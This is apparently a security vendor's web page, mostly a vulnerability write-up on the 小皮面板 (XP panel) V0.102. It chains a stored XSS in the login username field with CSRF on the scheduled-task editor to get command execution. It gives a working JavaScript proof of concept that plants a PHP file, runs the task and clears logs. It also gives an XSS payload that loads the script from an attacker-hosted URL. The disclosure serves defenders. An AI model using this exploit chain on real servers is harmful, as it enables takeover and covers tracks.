2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
容灾演练双月报|美创助力某特大型通信基础设施央企顺利完成多个核心系统异地容灾演练
2025-01-10
国家级|美创、徐医附院共建项目入选工信部《2024年网络安全技术应用典型案例拟支持项目名单》
2024-12-20
全球数据跨境流动合作倡议
2024-11-22
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务小皮面板集安全、高效、功能于一体。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮面板登录接口的username参数值存在存储性XSS漏洞,可通过该存储性XSS漏洞将计划任务写入小皮面板服务器,从而达到命令执行效果。
V0.102
访问
https://www.xp.cn/windows-panel.html
点击立即下载
下载完成后运行安装程序进行安装
安装完成后,桌面生成”小皮面板初始信息.txt”,文本文件中包含面板地址、面板账号密码
访问面板地址
http://:9080/8D92C9
出现以下界面代表安装成功
如图所示,在登录界面用户名栏输入payload:<script>alert(1)</script>,密码栏输入任意,验证码栏输入正确的验证码,输入完毕后点击登录
再次将用户名、密码、验证码栏处输入正确的用户名、密码以及验证码
登录系统后,将触发xss漏洞
漏洞起因是由于操作日志中记录了登录失败的用户名,且输出用户名时未进行html编码
小皮面板后台可以编辑服务器的计划任务,且编辑计划任务处未校验csrf token与referer,所以编辑计划任务处存在csrf漏洞,可利用存储性XSS与csrf漏洞添加计划任务以达到命令执行效果。
构造如下JS文件,JS文件内容为发送创建计划任务请求
function poc(){ $.get('/service/app/tasks.php?type=task_list',{},function(data){ var id=data.data[0].ID; $.post('/service/app/tasks.php?type=exec_task',{ tid:id },function(res2){ $.post('/service/app/log.php?type=clearlog',{ },function(res3){},"json"); },"json"); },"json");}function save(){ var data=new Object(); data.task_id=""; data.title="test"; data.exec_cycle="1"; data.week="1"; data.day="3"; data.hour="12"; data.minute = "00"; data.shell='echo "<?php phpinfo();?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'; $.post('/service/app/tasks.php?type=save_shell',data,function(res){ poc(); },'json');}save();
将该JS文件放置在小皮面板能够访问到的web应用中
在小皮面板的登录界面构造xss payload
<script src=”http://ip:port/test.js”></script>
输入任意密码与正确的验证码,点击登录
使用正确的账号密码登录小皮面板
如图所示,计划任务列表中新的计划任务被添加
访问
http://ip/1.php
出现phpinfo函数界面
将小皮面板版本升至最新